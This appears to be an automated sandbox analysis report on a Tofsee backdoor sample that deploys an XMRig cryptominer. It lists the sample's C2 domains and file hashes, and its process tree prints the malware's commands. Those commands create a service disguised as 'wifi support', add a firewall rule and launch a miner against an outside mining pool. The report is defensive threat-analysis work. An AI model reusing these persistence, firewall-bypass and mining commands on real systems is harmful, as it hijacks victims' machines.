Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27/10/2022, 01:27

General

  • Target
    file.exe
  • Size 218KB
  • Sample221027-bt375sacdp
  • SHA256 6d6ea3f8f794698a7dd204bd8198cdd1045c4e01d5b5109e7a58ff5910d088ce
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\evcuezzc\
      2⤵
        PID:1680
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vccghrbm.exe" C:\Windows\SysWOW64\evcuezzc\
        2⤵
          PID:1064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create evcuezzc binPath= "C:\Windows\SysWOW64\evcuezzc\vccghrbm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description evcuezzc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2028
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start evcuezzc
          2⤵
          • Launches sc.exe
          PID:1772
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1420
      • C:\Windows\SysWOW64\evcuezzc\vccghrbm.exe
        C:\Windows\SysWOW64\evcuezzc\vccghrbm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1112
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:112
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1504

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            vccghrbm.exe

            • Path C:\Users\Admin\AppData\Local\Temp\vccghrbm.exe
            • Size 12.6MB
            • SHA256 36e4eca4d0efac6ea3ab6cefc29aab101bcfdb8aa46af38af69130d356998ca6
            • MD5 SHA1 SHA512 SSDEEP

            vccghrbm.exe

            • Path C:\Windows\SysWOW64\evcuezzc\vccghrbm.exe
            • Size 12.6MB
            • SHA256 36e4eca4d0efac6ea3ab6cefc29aab101bcfdb8aa46af38af69130d356998ca6
            • MD5 SHA1 SHA512 SSDEEP

            memory/112-92-0x00000000059D0000-0x0000000005DDB000-memory.dmp

            memory/112-79-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/112-89-0x00000000002A0000-0x00000000002A5000-memory.dmp

            memory/112-95-0x00000000002B0000-0x00000000002B7000-memory.dmp

            memory/112-86-0x00000000001D0000-0x00000000001E0000-memory.dmp

            memory/112-83-0x00000000000E0000-0x00000000000E6000-memory.dmp

            memory/112-80-0x00000000019F0000-0x0000000001BFF000-memory.dmp

            memory/112-98-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/112-66-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/112-68-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/1112-71-0x00000000002AB000-0x00000000002BC000-memory.dmp

            memory/1112-74-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/1504-101-0x0000000000290000-0x0000000000381000-memory.dmp

            memory/1504-99-0x0000000000290000-0x0000000000381000-memory.dmp

            memory/1564-56-0x000000000062B000-0x000000000063C000-memory.dmp

            memory/1564-58-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/1564-57-0x00000000002A0000-0x00000000002B3000-memory.dmp

            memory/1564-54-0x0000000075FB1000-0x0000000075FB3000-memory.dmp

            memory/1564-77-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/1564-76-0x000000000062B000-0x000000000063C000-memory.dmp